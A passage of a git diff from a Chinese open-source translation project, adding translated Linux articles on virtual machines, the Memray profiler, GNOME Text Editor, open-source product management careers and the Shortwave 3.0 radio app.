+![](https://img.linux.net.cn/data/attachment/album/202205/04/093523wlzslifl2cp9papp.jpg) + +> 你可以在虚拟机环境里运行任何操作系统,不论是测试还是为了某种需要。 + +对于 Linux 而言,它在虚拟环境下的性能会优于其他操作系统。即便你可能会犹豫是否在物理机(裸金属)上安装 Linux 系统,你仍然可以在虚拟机中安装一个性能几乎和物理机一样好的 Linux 系统。 + +当然,这并不意味着宿主系统为 Linux 时你就不能在虚拟机实例中安装 Linux 了。 + +更何况,你在虚拟环境下使用 Linux 系统有许多好处。大致如下。 + +### 在虚拟环境下运行 Linux 之前的注意事项 + +在虚拟环境下运行 Linux 或许并不是艰巨的任务,但仍有以下几点你需谨记。 + +* 虚拟机的性能取决于宿主机的性能,如果你并没有足够的系统资源分配给虚拟机,那么虚拟机的使用体验注定不会很好。 +* 某些特性仅在物理机(裸金属)上生效,包括硬件加速以及图形(显卡)驱动等。 +* 密集的磁盘 I/O 任务性能会十分受限,例如游戏测试场景。 +* 用户的 Linux 虚拟机实例体验会根据你所使用的虚拟化程序而发生变化,这些虚拟化程序包括 VMware、VirtualBox、GNOME Boxes 以及 Hyper-V 。 + +此外,你应当列出你的需求,并根据这些需求选定适当的虚拟化程序来运行你的 Linux 实例。 + +### 十条在虚拟环境中运行 Linux 的优点 + +尽管运行虚拟化 Linux 实例极具吸引力,你仍然应当首先考虑当前使用的宿主系统中已有的选择。例如,如果你不需要图形化桌面,或许利用 Windows 操作系统中的 [WSL 安装 Linux][1] 就可以满足你的需求。 + +一旦你确定了使用虚拟机,那么这些优点将会如影随形: + +#### 1、部署简便 + +![部署简便][2] + +与在传统物理机(裸金属)上安装 Linux 相比,在虚拟机中部署一般会容易许多。 + +对于基于 Ubuntu 的发行版而言,像 VMware 这样的虚拟化程序会提供一个 **快速安装** 的选项,你仅需输入用户名和密码,其余过程将自动完成而无需其他操作。你无需手动设置分区、引导程序以及更多高级设置。 + +某些情况下,一些发行版的开发者会同时提供针对特定虚拟机的预构建镜像,只需打开就可使用。这就好像一个便携式虚拟机镜像,随时可以开箱即用。 + +例如,在 [这里][3] 你将看到如何在虚拟机中安装 Arch Linux 发行版。 + +对于其他的发行版,你或许仍需要进行一些配置,但一般都会有快速安装的选项令你可以轻松部署。 + +#### 2、不会影响宿主机 + +![不会影响宿主机][4] + +对于虚拟机,你可以更为随心所欲地使用,因为虚拟机系统和宿主机系统是隔离的。 + +很多时候,如果你并不熟悉 Linux 系统,你很可能会把配置弄得十分混乱。 + +所以在虚拟机里,你可以随意尝试而无需担心是否会影响到宿主机系统。换句话说,任何虚拟机的操作都不会影响到宿主机,因为它们是完全隔离的。 + +故此,虚拟机是你最好的试验场,尤其是对于一些激进或具有破坏性的试验。 + +#### 3、资源可高效共享 + +![资源可高效共享][5] + +如果你有十分充裕的系统资源,你可以使用虚拟机运行其他任务,从而充分利用起来这部分闲置的系统资源。例如,如果你需要一个十分私密的浏览环境,虚拟机将为你阻挡一切针对宿主机的追踪器。 + +这可能略显牵强,但这仅仅是一个例子。基于这样的想法你将可以充分利用全部的系统资源。 + +而对于双启动方案,你需要在单独的磁盘上在 Windows [之后安装 Linux][6],或者在 Linux [之后安装 Windows][7],你需要为你的任务锁定相应的资源。 + +但利用虚拟机,你无需锁定部分资源也可以使用 Linux ,也不必为了特定的任务而临时共享资源,这样会方便许多。 + +#### 4、多任务体验更好 + +![多任务体验更好][8] + +有了资源共享机制,多任务会前所未有的容易。 + +在双启动的场景下,你需要来回重启切换才能使用 Linux 或 Windows 。 + +但如果使用虚拟机,你几乎不再需要 [双启动][9],两个系统将无缝协作并完成多任务。 + +当然,你需要确认你拥有足够的系统资源和额外的硬件(例如双显示器)来更高效地使用。而多任务的潜力也因 Linux 虚拟机的存在而愈发强大。 + +#### 5、软件测试更为便捷 + +有了虚拟化,你将可以创建大量的 Linux 实例,来模拟特定的使用场景,并对软件进行测试。 + +例如,你可以在不同的 Linux 虚拟机中同步测试不同的软件版本。这有丰富的使用场景,包括对开发版软件进行测试以及 Linux 发行版的早期测试等等。 + +#### 6、开发更为便捷 + +![开发更为便捷][10] + +当你在学习编程或者刚加入一个软件项目的开发的时候,你会希望拥有一个没有任何冲突和错误的开发环境。 + +在 Linux 虚拟机里,你可以从零开始搭建一个不会与已经存在的环境冲突的开发环境。例如,你可以在 Ubuntu 上 [安装并测试 Flutter][11] 。 + +如果环境出了问题,你可以轻而易举地删掉这个虚拟机,并重新开始来修正错误。 + +Linux 虚拟机的隔离环境是一个绝佳的开发和测试环境。 + +#### 7、学习和研究的好帮手 + +Linux 值得反复探索。除了基础的计算任务,你可以做许多其他的事情。 + +你可以学习如何修改你的用户界面,[尝试一些常见的桌面环境][12] 、[安装大量常用软件][13] ,与此同时仍能让一切处于掌控之中。 + +如果出现问题,新建一个 Linux 虚拟机就可以解决。当然,这并不仅限于日常使用需要,还可以启发系统管理员在其中测试他们所学的知识。 + +#### 8、更容易复制和迁移 + +虚拟机可以很容易地复制和迁移。只要其它的宿主机系统支持该虚拟化程序,你就可以很容易地迁移它,而没有特别要求。 + +不论因何原因,几次简单的点击就可以完成复制和迁移的任务。 + +#### 9、尝试大量的发行版 + +![尝试大量的发行版][14] + +你可以在虚拟环境下尝试数以百计的 Linux 发行版。 + +你或许会认为这和第七条重复了,但是我相信,测试一个发行版是一个巨大的系统性工程,尤其是当你决定切换发行版做为宿主机或其他用途时。 + +#### 10、便于调试 + +不论是严肃的开发活动还是一般的研究,在隔离的虚拟环境中调试和除错相对而言会更简单。 + +你可以快速尝试大量的调试方法而无需考虑影响。同时,如果你的宿主机是 Linux 系统的话,无需宿主机上的 root 权限便可以访问和修改虚拟机中的配置文件。 + +### 总而言之 + +如果你不熟悉正在使用的系统或者依赖不同的操作系统工作,虚拟机将是协助你工作的一大利器。 + +Linux 虚拟机可以广泛用于开发、学习、试验或任何特定用途。 + +你在虚拟机中使用过 Linux 吗?都有哪些应用场景呢?欢迎留言评论! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/why-linux-virtual-machine/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[PeterPan0106](https://github.com/PeterPan0106) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-bash-on-windows/ +[2]: https://itsfoss.com/wp-content/uploads/2022/04/easy-setup-linux-vm.jpg +[3]: https://itsfoss.com/install-arch-linux-virtualbox/ +[4]: https://itsfoss.com/wp-content/uploads/2022/04/isolated-linux-vm.jpg +[5]: https://itsfoss.com/wp-content/uploads/2022/04/sharing-resources-linux-vm.jpg +[6]: https://itsfoss.com/dual-boot-hdd-ssd/ +[7]: https://itsfoss.com/install-windows-after-ubuntu-dual-boot/ +[8]: https://itsfoss.com/wp-content/uploads/2022/04/multitasking-linux-vm.jpg +[9]: https://itsfoss.com/dual-boot-fedora-windows/ +[10]: https://itsfoss.com/wp-content/uploads/2022/04/development-linux-vm.jpg +[11]: https://itsfoss.com/install-flutter-linux/ +[12]: https://itsfoss.com/best-linux-desktop-environments/ +[13]: https://itsfoss.com/essential-linux-applications/ +[14]: https://itsfoss.com/wp-content/uploads/2022/04/distros-linux-vm.jpg diff --git a/published/202205/20220427 Bloomberg Open Sources Memray, A Python Memory Profiler.md b/published/202205/20220427 Bloomberg Open Sources Memray, A Python Memory Profiler.md new file mode 100644 index 0000000000..1c973667e1 --- /dev/null +++ b/published/202205/20220427 Bloomberg Open Sources Memray, A Python Memory Profiler.md @@ -0,0 +1,45 @@ +[#]: subject: "Bloomberg Open Sources Memray, A Python Memory Profiler" +[#]: via: "https://www.opensourceforu.com/2022/04/bloomberg-open-sources-memray-a-python-memory-profiler/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14582-1.html" + +彭博社开源 Memray,一个 Python 内存剖析器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/12/081556a84j8f331irlszo2.jpg) + +Memray 是一个由彭博社开发的内存剖析器memory profiler,现在已经开源。它可以跟踪 Python 代码中的内存分配,包括本地扩展和 Python 解释器本身。内存剖析是了解程序如何利用内存的有力工具,因此可以检测内存泄漏或确定程序中哪些区域消耗的内存最多。 + +与 py-spy 等抽样内存剖析器相比,Memray 可以跟踪每个函数调用,包括对 C/C++ 库的调用,并详细显示调用栈。彭博社称,这并不以牺牲性能为代价,剖析只使解释代码的速度变慢一点。然而,原生代码剖析的速度较慢,因此需要直接启用。 + +Memray 可以根据获得的内存消耗数据生成各种报告,包括火焰图,这对快速、准确地识别最常见的代码路径很有价值。 + +据 EgdeDB 的联合创始人兼 CEO Yury Selivanov 称,该工具提供了以前无法获得的对 Python 应用的洞察力。Memray 可以用来从命令行中执行和剖析 Python 应用。 + +``` +$ python3 -m memray run -o output.bin my_script.py +$ python3 -m memray flamegraph output.bin +``` + +另外,你可以使用 pytest-memray 将 Memray 集成到你的测试套件中。你也可以用 `-native` 命令行选项对所有的 C/C++ 调用进行剖析,或者用 `-live` 命令行选项在程序执行过程中实时分析内存分配。Memray 可以在 Linux x86/64 系统上用 `python3 -m pip install memray` 来安装。 + +(题图由 Frantisek Krejci 在 Pixabay 上发布) + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/04/bloomberg-open-sources-memray-a-python-memory-profiler/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/soft-1-696x363.jpg diff --git a/published/202205/20220427 Hands on With GNOME-s New Text Editor for Linux Users.md b/published/202205/20220427 Hands on With GNOME-s New Text Editor for Linux Users.md new file mode 100644 index 0000000000..8d27c62567 --- /dev/null +++ b/published/202205/20220427 Hands on With GNOME-s New Text Editor for Linux Users.md @@ -0,0 +1,165 @@ +[#]: subject: "Hands on With GNOME’s New Text Editor for Linux Users" +[#]: via: "https://itsfoss.com/gnome-text-editor/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14588-1.html" + +GNOME 新文本编辑器尝鲜 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/13/144247g8w8v9clwdcaagw1.png) + +如果你是我们的忠实读者,你可能读过 [GNOME 计划用自家的文本编辑器取代 Gedit][1] 的消息了。 + +没错,GNOME 推出了一款全新的文本编辑器,名字就叫做,嗯,“文本编辑器Text Editor”。 + +尽管 GNOME 桌面的默认文本编辑器还是 Gedit,但是这个新的编辑器已经和 GNOME 42 一起发布了。 + +也就是说,这款新编辑器可以在 Ubuntu 最新的长期发行版或者其他使用 GNOME 42 的发行版上获取(笔者现在使用的正是 Ubuntu 22.04)。 + +感兴趣吗?在本文,笔者将分享这款编辑器的使用体验以及安装步骤。 + +### GNOME 文本编辑器使用体验 + +GNOME 文本编辑器基于 [有争议的 libadwaita 库][3],遵循着其开发委员会的设计新理念,采用圆角边框,外观优美典雅,颇具现代化特点。 + +但就功能而言,这款软件并没有什么特别的“过人之处”。毕竟,它并不能取代 [Atom 或者 VS Code][4] 这类专业的代码编辑器。但同时,它也绝不像 Windows 的记事本那样“平平无奇”。 + +那么,让我们来一睹它的“风采”吧! + +#### 会话保存功能 + +默认情况下,GNOME 文本编辑器会自动打开上次编辑的文件,这一功能可以让你快速继续之前的工作。 + +你可以通过首选项下的还原会话选项,开启或关闭该功能。 + +![][5] + +你还可以搜索文件记录,打开最近处理的文件。请注意:清除文件记录(见上图 “清除历史Clear History”)会清除最近打开的文件列表。 + +#### 主题与内置主题 + +GNOME 文本编辑器与其他新的 GNOME 软件一样,自带三种主题风格:跟随系统、浅色模式和深色模式。如果你选择了跟随系统,编辑器会根据系统主题(浅色或深色)自动变换自身的深浅主题色。 + +![System theme option gnome text editor][6] + +此外,在首选项下还设有八个主题(深浅色模式下主题有所不同),为用户提供了更多的选择。 + +![Theme options under preference][7] + +只需点击选中,主题即可生效。 + +#### 文件修改以及未保存文件的处理 + +在你工作时,已修改和未保存的文件会突出地反映出来。 + +![Unsaved files are more prominently marked][8] + +在你修改文件后点击关闭窗口时,编辑器会提醒你选择保存修改还是放弃修改。 + +![][9] + +相比之下,[Gedit 有自动保存选项][10],无需插件即可使用。 + +#### 暂无插件功能 + +提到插件,不得不承认这款新的编辑器还没有推出插件功能。而另一方面,Gedit 有着良好的插件生态,所以它的功能更加强大。 + +我不确定 GNOME 文本编辑器未来是否会引入支持插件的功能。 + +#### 代码语法高亮 + +近年来,代码语法高亮可以说是文本编辑器的一个必备功能了。GNOME 文本编辑器也提供了这一功能,支持各种程序语言语法高亮。 + +通常来说,语法高亮的前提是代码文件要有对应的后缀名。不过,我发现 GNOME 文本编辑器甚至可以在文件保存之前就识别出 bash 脚本和 C/C++ 程序,并对其语法标出高亮。 + +![Bash scripts. C/C++ code are detected even without file extension][11] + +#### 快捷键 + +笔者喜欢在常用软件里使用快捷键,因为这样效率会更高。 + +GNOME 文本编辑器的各种操作都支持快捷键。你可以点击软件右上角的汉堡菜单(`☰` 符号)看到快捷键列表;或者直接敲快捷键 `Ctrl+?` 调出。 + +![Keyboard shortcuts in Text Editor][12] + +#### 查找和替换 + +GNOME 文本编辑器有着完善的查找替换功能。它有三种模式可供选择:正则表达式、区分大小写以及匹配精准字符。 + +![search replace gnome text editor][13] + +#### 更多功能 + +GNOME 文本编辑器与 Gedit 一样,还具备一些其他功能: + + * 拼写检查 + * 显示行号 + * 自动缩进 + * 空格和制表位缩进 + * 大小写转换 + * 自动换行 + +#### GNOME 文本编辑器的局限 + +归根结底,GNOME 文本编辑器依旧是一个文本编辑器,无法也无意用来打开 doc 文件。如果你执意用它要打开 doc 文件,你看到的就只有一堆乱码。当然,pdf 文件也是如此。 + +![][14] + +此外,GNOME 文本编辑器并不是专门用来写复杂代码的,它无法取代 VS Code 等代码编辑器。如果说偶尔用来读读代码或者写写 shell 脚本,倒也无伤大雅,但是它并不具备管理项目文件夹和运行代码等功能。 + +### 安装 GNOME 文本编辑器 + +就像笔者在开头所说,GNOME 文本编辑器已经和 GNOME 42 一起发布了,不过它并不属于默认安装的软件。在 Ubuntu 22.04,Universe 仓库里就有 GNOME 文本编辑器,你可以通过输入下面的命令进行安装: + +``` +sudo apt install gnome-text-editor +``` + +其他采用 GNOME 42 的发行版也可以获取 GNOME 文本编辑器,请在安装前查看所用系统的 [桌面环境版本][15]。 + +安装完成后,可以点击屏幕左上角的“活动Activities”按钮,查找并打开 GNOME 文本编辑器。它的图标与 Gedit 的图标相似,但设计更为新颖。 + +![][16] + +### 总结 + +[Gedit][17] 是一款非常完善的文本编辑器,也是 GNOME 桌面环境长期以来的预装软件。几年前,Gedit 疏于开发,但现在已经恢复了开发。然而,如今 GNOME 团队正在努力为 GTK 4 和 libadwaita 改进核心应用程序。 + +GNOME 文本编辑器很像 Gedit 的翻版,两者有着相似的界面和功能。不过,GNOME 文本编辑器与新版 GNOME 的设计风格更加统一,使用体验也更加流畅。 + +这款新的编辑器日后很有可能会成为 GNOME 的默认文本编辑器。不过让人感兴趣的是,GNOME 文本编辑器将来是否会拥有自己的插件生态呢? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/gnome-text-editor/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://linux.cn/article-14060-1.html +[2]: https://itsfoss.com/ubuntu-22-04-release-features/ +[3]: https://news.itsfoss.com/gnome-libadwaita-library/ +[4]: https://itsfoss.com/visual-studio-code-vs-atom/ +[5]: https://itsfoss.com/wp-content/uploads/2022/04/restore-session-option-gnome-text-editor-1.png +[6]: https://itsfoss.com/wp-content/uploads/2022/04/system-theme-option-gnome-text-editor-800x560.png +[7]: https://itsfoss.com/wp-content/uploads/2022/04/theme-options-gnome-text-editor.png +[8]: https://itsfoss.com/wp-content/uploads/2022/04/unsaved-file-gnome-text-editor-800x481.png +[9]: https://itsfoss.com/wp-content/uploads/2022/04/save-prompt-gnome-text-editor.png +[10]: https://itsfoss.com/how-to-enable-auto-save-feature-in-gedit/ +[11]: https://itsfoss.com/wp-content/uploads/2022/04/syntax-highlight-gnome-text-editor.png +[12]: https://itsfoss.com/wp-content/uploads/2022/04/keyboard-shortcuts-gnome-text-editor-800x637.png +[13]: https://itsfoss.com/wp-content/uploads/2022/04/search-replace-gnome-text-editor-800x477.png +[14]: https://itsfoss.com/wp-content/uploads/2022/04/doc-in-gnome-text-editor-800x485.png +[15]: https://itsfoss.com/find-desktop-environment/ +[16]: https://itsfoss.com/wp-content/uploads/2022/04/new-gnome-text-editor.png +[17]: https://wiki.gnome.org/Apps/Gedit diff --git a/published/202205/20220427 How I grew my product management career with open source.md b/published/202205/20220427 How I grew my product management career with open source.md new file mode 100644 index 0000000000..db01843fd6 --- /dev/null +++ b/published/202205/20220427 How I grew my product management career with open source.md @@ -0,0 +1,117 @@ +[#]: subject: "How I grew my product management career with open source" +[#]: via: "https://opensource.com/article/22/4/product-management-open-source" +[#]: author: "Shebuel Inyang https://opensource.com/users/shebuel" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14562-1.html" + +我如何通过开源来发展我的产品经理职业 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/08/112446zy420r4zutdlu0ol.jpg) + +> 毫不夸张地说,在开源方面获得的经验,帮助我在产品管理领域创造了一条成功的职业道路。 + +我是一个充满好奇心的人,我喜欢探索科技行业的许多领域,从视觉设计、编程到产品管理。我也被开放源码的理念所吸引。因此,我很高兴与大家分享我作为一个产品经理(PM),是如何利用开源来建立我的职业生涯的。我相信我的经验可以帮助其他对产品管理感兴趣的人。 + +### 什么是开源软件 + +简单地说,开源软件是开放源代码的软件,这意味着任何人都可以检查、修改、增强和分享它的源代码。我们发表过一篇详细、[全面的文章][3] 来帮助你了解什么是开源。 + +我最早知道开源是很久以前了,那时,我还是一名刚入行不久的视觉设计师。我很想知道开源是什么,也很想知道如何成为它的一部分。在这种好奇心的驱使下,我接触到了一些有经验的开源贡献者和倡导者。虽然我当时没有做出贡献,但是他们让我知道了什么是社区,这对我下定决心开始贡献有很大帮助。 + +### 如何上手产品管理 + +产品管理工作貌似是一件很难上手的事情,感觉必须要戴上拳击手套,经过一番搏斗,才能强行进入这一行。然而,我从其他产品经理那里听说,与编写/调试代码块,或使用像素点生成复杂的产品设计线框相比,产品管理工作其实是更好上手的。 + +虽然我们的经历和经验各不相同,但是有一点可以确定:成为产品经理的道路往往是漫长而不可预知的。随着就业竞争的不断加剧,获得一个初级产品经理的职位可能会很困难。应聘者通常被要求有 2 到 3 年的经验才能加入产品团队。这时你可能会问:“我应该如何获得这些经验呢?” + +来看看下面这四个策略吧,它们或许能够将你的职业生涯转向到产品管理: + +1. 在一个大型组织的内部转岗。这可能需要你的经理为你说一些好话,比如,说你很适合在公司内部转岗等。你必须有证据表明你掌握了该岗位的技能。这通常被认为是获得产品管理经验的最快 +2. 担任大型组织的初级产品经理角色。通过它获得实习机会,或者加入一个需要初级产品经理的关副产品管理项目,这些都很常见。 +3. 你也可以尝试通过加入创业公司来上手产品管理工作。 +4. 你还可以启动一个自己的副业项目来上手产品管理工作。 + +缺乏实践经验,就很难成为产品经理。正如开源产品经理 [David Ryan][4] 所说,“有一条获得实际的产品管理经验的途径,它既未被人充分利用,也很少有人意识到并利用它们”。 + +这条途径是什么? + +### 答案就是开源 + +一个开放源码项目要想成功,需要的不仅仅是代码。它还包括项目战略、用户研究,以及将战略与日常工作联系起来。这些都是产品经理应该积极参加的活动。但是,在产品管理这一行里,有多少职责会分配给一个新手产品经理呢? + +[Susana Videira Lopes][5] 在她的一篇文章中指出,“获得一个入门级的产品角色,本质就是以一种建立你的信心的方式,让你加入到至产品管理这一行,同时尽早为组织提供价值”。 + +一个入门级的产品经理该如何参与开源项目,并为它提供价值呢? + +**答案很简单:多问问题** + +这里有一些你可以问的问题: + +* 正在探索的是什么问题/机会? +* 如何制定解决方案来解决这个问题? +* 用什么标准来确定项目是否成功? +* 这个解决方案的服务对象是谁? +* 他们是如何被告知这个解决方案的? +* 该解决方案如何与当前和更广泛的生态系统相适应? +* 项目的文件是在哪里维护的? +* 项目维护者是否了解无障碍accessibility要求?它们是否被满足? + +既然你已经获得了产品经理的所需技能,为何不应用它们呢?结合所学,表达出你深思熟虑的问题,并邀请你的团队来评估吧!你的团队可以选择那些能引起开发者和社区共鸣的问题,并优先考虑其中最重要的。 + +这些问题可以帮助你建立用户角色、用户旅程图、精益画布,以及更多。这种经验对发展职业潜力有很大的帮助。 + +### 我在 OpenUnited 的经历 + +[OpenUnited][6] 是一个以独特方式连接数字人才和工作的平台。我们与贡献者合作,帮助他们投入到高质量的开源产品,从而证明自身的特定技能。一旦他们的工作得到验证,这些有才华的贡献者就有资格在公司里从事有偿工作。 + +OpenUnited 是一个开源平台,为各类贡献者(包括产品经理、开发人员、设计师、商业分析师和其他人)提供服务。它致力于帮助贡献者提高技能,并为他们提供长期的高质量付费工作来源。 + +Miro 公司的高级产品经理 Farbod Saraf 让我加入他与合作伙伴创建的一个平台。我加入了这个项目,并了解了如何对 OpenUnited 做出贡献。我还了解了其他可以帮助我在产品管理生涯中成长的项目,并做出了我的第一次贡献。这是一次很好的经历,因为我可以迅速地开始投入到产品的某些部分,以改善平台上其他用户的体验。在我为项目做贡献的时候,我的导师 Farbod 随时为我提供任何需要的帮助,使我的工作更加轻松。 + +你对开源项目所做的一切贡献,都会成为你成长为产品经理过程中的有力的公共记录。对于任何想通过开源上手产品管理的人,我都强烈推荐 OpenUnited 平台。 + +### 如何找到开源项目 + +许多人认为,贡献开源只适合于开发人员,因为他们觉得找到一个可以舒适地贡献的开源项目是很难的。 + +即使作为一个初出茅庐的产品经理,也有好几种方法可以找到适合贡献的开源项目。这里列出了一些: + +* 在产品经理社区中发言,如 Mind The Product 和 Product School。 +* 参加当地的聚会和开源会议,如非洲开源社区节,以此来与开源项目的创建者和维护者保持联系。 +* 与在 GitLab 或 Mozilla 等大型开源公司工作的产品经理接触。他们可能会把你推荐到需要你的技能和贡献的开源项目中。 +* 联系开源公司的开源倡导者和开发者关系团队,让他们推荐一些适合入门级产品经理贡献的开源项目。 +* 寻找 AngelList 上的开源公司或 Product Hunt 上流行的开源产品。这些都是你可以找到适合贡献的开源产品的好地方。 + +### 下一步 + +[Ruth Ikegah][7] 是我的一个重要灵感来源,她 [为开源新手写了一篇文章][8]。她的文章给出了一些提示,在你开始为开源做贡献时,可能需要考虑一下它们。 + +在加入和贡献项目、社区或组织之前,对它们做一些研究,并提出自己的问题。当你最终决定加入社区时,试着积极地介绍自己,并说明你可以在哪些方面提供帮助。 + +当然,开源不仅仅是你职业生涯的一个垫脚石。它本身就是一个平台,而且它需要优秀的产品经理。参与进来吧!一方面,你能为社区做出贡献;另一方面,它也能帮助你磨练自己的技能。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/4/product-management-open-source + +作者:[Shebuel Inyang][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/shebuel +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/rh_003784_02_os.comcareers_resume_rh1x.png +[2]: http://Opensource.com +[3]: https://linux.cn/article-8624-1.html +[4]: https://twitter.com/hellodavidryan +[5]: https://twitter.com/susanavlopes +[6]: https://openunited.com +[7]: https://stars.github.com/profiles/ruth-ikegah/ +[8]: https://ruthikegah.xyz/a-beginners-guide-to-open-source diff --git a/published/202205/20220427 Shortwave 3.0 is Here With UI Upgrades, Private Stations, and More Improvements.md b/published/202205/20220427 Shortwave 3.0 is Here With UI Upgrades, Private Stations, and More Improvements.md new file mode 100644 index 0000000000..7ebc44b322 --- /dev/null +++ b/published/202205/20220427 Shortwave 3.0 is Here With UI Upgrades, Private Stations, and More Improvements.md @@ -0,0 +1,115 @@ +[#]: subject: "Shortwave 3.0 is Here With UI Upgrades, Private Stations, and More Improvements" +[#]: via: "https://news.itsfoss.com/shortwave-3-0-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14528-1.html" + +Shortwave 3.0 发布:用户界面更新、私人电台以及诸多改进 +====== + +> Shortwave 3.0 带来了急需的用户界面改进、添加私人电台的功能以及诸多升级。 + +![Shortave 3.0][1] + +Shortwave 是 GNOME 上的一个流行的网络广播播放器。它默认提供了很多电台,总计超过 25000 个,所有这些电台都可以分组组织、进行搜索,还可以投射到其他设备(如 Chromecast)上。 + +Shortwave 3.0 将这些功能提升至一个全新的水平,有一些相当大的变化。让我们来看看有哪些新功能吧! + +### Shortwave 3.0 新功能 + +主要是引入了 Libadwaita,除此之外,Shortwave 3.0 还包括以下更新: + +* 支持 GNOME 42 的深色模式 +* 支持将私人电台添加到库中 +* 支持将电台数据保存到磁盘上 +* 改进了搜索结果的排序 + +#### 用户界面的变化 + +![图源:Felix Häcker][2] + +在过去的几个月里,许多应用程序都在向 [Libadwaita][3] 过渡。由于其流畅的视觉效果、集成的开发工作流程以及与 GNOME 的整合,它已经迅速成为所有新应用程序的必备工具。 + +最新一个升级到 Libadwaita 的应用程序是 Shortwave。因此,它现在有了一个自适应的用户界面,这对类似于 [PinePhone][4] 的 Linux 手机可能很有用。 + +![][5] + +此外,它现在采用了更现代的 Adwaita 设计,我非常喜欢。 + +随着用户界面的改进,它也支持新的 GNOME 42 的深色模式。下面是它的外观。 + +![Shortwave 3.0 深色模式][6] + +#### 保存电台数据 + +![][7] + +一个有用的新功能是支持将电台数据保存到磁盘上,而无需每次从服务器上接收。 + +因此,即使一个电台从服务器(`radio-browser.info`)上删除,它也会保留在应用程序中,并有消息通知用户这一变化。 + +#### 添加私人电台 + +![][8] + +以前,你必须依赖 [radio-browser.info][9] 库中的可用电台。 + +现在,你可以从内部网络添加你的私人电台,或者通过 API 密钥添加一个独家/付费流。 + +![][10] + +#### 其他变化 + +除了上面列出的那些,Shortwave 3.0 还有一些其他的改进: + +* 显示电台比特率信息,这也可以作为一个排序选项。 +* 在搜索页面上新增了一个按钮,可以对搜索结果进行排序。 +* 大幅度修改了电台对话框,显示信息更加清晰。 +* 在歌曲变化时更新桌面通知,而不是为每首歌曲生成新的单独通知。 +* 即使 `radio-browser.info` 处于离线/不可用状态,Shortwave 也可以正常使用。 + +### 总结 + +![][11] + +总的来说,Shortwave 3.0 是一个很棒的版本,它既改善了用户体验,又增加了新功能。 + +如果你想安装它,你可以到它的 [Flathub][12] 页面查看安装指南,或者直接在你的终端键入以下命令。 + +``` +flatpak install flathub de.haeckerfelix.Shortwave +``` + +如果你还没有设置 Flatpak,你也可以参考我们的 [Flatpak 指南][13]。 + +你尝试过 Shortwave 3.0 了吗?请在下面的评论中分享你的使用体验吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/shortwave-3-0-release/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/04/shortwave-3-0.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/04/shortwave3.0.png +[3]: https://news.itsfoss.com/gnome-libadwaita-library/ +[4]: https://news.itsfoss.com/pinephone-review/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/04/shortwave-3-responsive.jpg +[6]: https://news.itsfoss.com/wp-content/uploads/2022/04/shortwave-3-dark-mode.jpg +[7]: https://news.itsfoss.com/wp-content/uploads/2022/04/shortwave-station-data.png +[8]: https://news.itsfoss.com/wp-content/uploads/2022/04/shortwave-3-create.png +[9]: https://www.radio-browser.info/ +[10]: https://news.itsfoss.com/wp-content/uploads/2022/04/shortwave-3-private-station.png +[11]: https://news.itsfoss.com/wp-content/uploads/2022/04/shortwave-3-0.mp4 +[12]: https://flathub.org/ +[13]: https://itsfoss.com/flatpak-guide/ diff --git a/published/202205/20220428 Archinstall-s New Menu System Makes it Even Easier to Install Arch Linux.md b/published/202205/20220428 Archinstall-s New Menu System Makes it Even Easier to Install Arch Linux.md new file mode 100644 index 0000000000..3d6d44ac54 --- /dev/null +++ b/published/202205/20220428 Archinstall-s New Menu System Makes it Even Easier to Install Arch Linux.md @@ -0,0 +1,94 @@ +[#]: subject: "Archinstall’s New Menu System Makes it Even Easier to Install Arch Linux" +[#]: via: 